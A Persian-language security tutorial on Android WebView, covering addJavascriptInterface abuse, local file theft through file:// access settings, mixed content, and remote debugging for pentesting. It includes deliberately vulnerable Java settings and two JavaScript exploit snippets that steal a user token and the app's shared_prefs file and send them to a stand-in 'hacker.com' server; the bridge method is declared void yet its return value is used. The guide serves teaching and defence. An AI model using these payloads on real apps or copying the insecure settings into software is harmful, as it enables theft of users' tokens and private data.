Skip to content

امنیت وب‌ویو (WebView Security) ​

وب‌ویو (WebView) کامپوننتی است که به اپلیکیشن‌های اندرویدی اجازه می‌دهد صفحات وب را درون خود نمایش دهند. این قابلیت، پل ارتباطی بین دنیای وب (HTML/JS) و دنیای Native (Java/Kotlin) است.

اگر این پل به درستی محافظت نشود، یک صفحه وب مخرب می‌تواند کنترل کل اپلیکیشن را به دست بگیرد.

۱. اجرای کد از راه دور (RCE via JavascriptInterface) ​

خطرناک‌ترین آسیب‌پذیری وب‌ویو زمانی رخ می‌دهد که برنامه‌نویس با استفاده از متد addJavascriptInterface، یک کلاس جاوا را به محیط جاوااسکریپت متصل می‌کند. این کار باعث می‌شود توابع حساس جاوا مستقیما از طریق کد HTML قابل فراخوانی باشند.

  • سناریو حمله: مهاجم لینکی برای قربانی می‌فرستد. وقتی این لینک در وب‌ویوی اپلیکیشن باز شود، کد جاوااسکریپت مخرب اجرا شده و توابع جاوا (مثل ارسال SMS یا خواندن توکن‌ها) را صدا می‌زند.

کد آسیب‌پذیر در جاوا:

java
WebView myWebView = findViewById(R.id.webview);
myWebView.getSettings().setJavaScriptEnabled(true);

/* خطر: اکسپورت کردن کلاس WebAppInterface به نام "AndroidBridge" */
myWebView.addJavascriptInterface(new WebAppInterface(this), "AndroidBridge");

public class WebAppInterface {
    Context mContext;

    WebAppInterface(Context c) {
        mContext = c;
    }

    /* این تابع مستقیما از طریق جاوااسکریپت قابل صدا زدن است */
    @JavascriptInterface
    public void getUserToken() {
        /* فرض کنید این تابع توکن کاربر را برمی‌گرداند یا لاگ می‌کند */
        String token = "SECRET_TOKEN_123";
        Log.d("UserToken", token);
    }
}

کد اکسپلویت (HTML/JS):

html
<html>
    <body>
        <h1>کلیک کن :)</h1>
        <script>
            /* صدا زدن تابع جاوا از طریق اینترفیس تعریف شده */            
            /* نام "AndroidBridge" همان نامی است که در کد جاوا تعریف شده */         
            if (window.AndroidBridge) {
                var sensitiveData = window.AndroidBridge.getUserToken();
                /* ارسال دیتا به سرور مهاجم */              
                fetch('https://hacker.com/log?token=' + sensitiveData);
            }
        </script>
    </body>
</html>

نکته مهم

در اندروید ۴.۲ (API 17) به بالا، توسعه‌دهندگان باید از انوتیشن @JavascriptInterface استفاده کنند. اما حتی با وجود این انوتیشن، اگر منطق تابع اکسپورت شده ضعیف باشد، همچنان خطرناک است.

۲. سرقت فایل‌های داخلی (Local File Inclusion) ​

وب‌ویوها می‌توانند فایل‌های لوکال (با پروتکل file://) را باز کنند. اگر تنظیمات امنیتی درست نباشد، یک صفحه وب مخرب می‌تواند فایل‌های خصوصی اپلیکیشن (مثل دیتابیس‌ها) را بخواند و به سرور مهاجم بفرستد.

تنظیمات خطرناک عبارتند از:

  • setAllowFileAccess(true): اجازه دسترسی به فایل سیستم.
  • setAllowUniversalAccessFromFileURLs(true): اجازه به جاوااسکریپت که از یک فایل لوکال، درخواست Ajax به هر جای دیگر بفرستد (دور زدن Same Origin Policy).

تنظیمات ناامن:

java
WebSettings settings = myWebView.getSettings();

/* اجازه دسترسی به فایل‌های لوکال (مثل /sdcard یا /data/data) */
settings.setAllowFileAccess(true);

/* اجازه دسترسی به فایل‌ها از طریق URL‌های فایل */
settings.setAllowFileAccessFromFileURLs(true);

/* خطرناک‌ترین تنظیم: اجازه دسترسی Cross-Origin از فایل‌های لوکال */
settings.setAllowUniversalAccessFromFileURLs(true);

سناریو سرقت فایل (Exploit): مهاجم فایل malicious.html را به قربانی می‌دهد. وقتی این فایل در اپلیکیشن باز شود، فایل /data/data/.../shared_prefs خوانده شده و ارسال می‌شود.

html
<script>
    var xhr = new XMLHttpRequest();
    /* تلاش برای خواندن فایل تنظیمات خصوصی اپلیکیشن */     
    xhr.open("GET", "file:///data/data/com.example.app/shared_prefs/UserPrefs.xml", true);
    
    xhr.onreadystatechange = function() {
        if (xhr.readyState == 4) {
            /* تبدیل به Base64 */            
            var loot = btoa(xhr.responseText);
            /* ارسال محتوای فایل دزدیده شده به سرور هکر */            
            location.href = "http://hacker.com/steal?data=" + loot;
        }
    };
    xhr.send();
</script>

۳. بارگذاری محتوای ناامن (Cleartext & Mixed Content) ​

اگر اپلیکیشن شما از HTTPS استفاده می‌کند اما وب‌ویو اجازه بارگذاری محتوای HTTP را بدهد (Mixed Content)، مهاجم در شبکه (Man-in-the-Middle) می‌تواند محتوای صفحه را تغییر داده و اسکریپت مخرب تزریق کند.

  • تنظیمات خطرناک: setMixedContentMode(MIXED_CONTENT_ALWAYS_ALLOW)

۴. دیباگ کردن وب‌ویو ​

برای تست نفوذ وب‌ویو، می‌توانید از ابزار Chrome Remote Debugging استفاده کنید. اگر اپلیکیشن setWebContentsDebuggingEnabled(true) باشد:

  1. گوشی را با کابل وصل کنید.
  2. در کروم دسکتاپ آدرس chrome://inspect را باز کنید.
  3. وب‌ویوی اپلیکیشن را ببینید و در کنسول آن دستورات جاوااسکریپت تزریق کنید.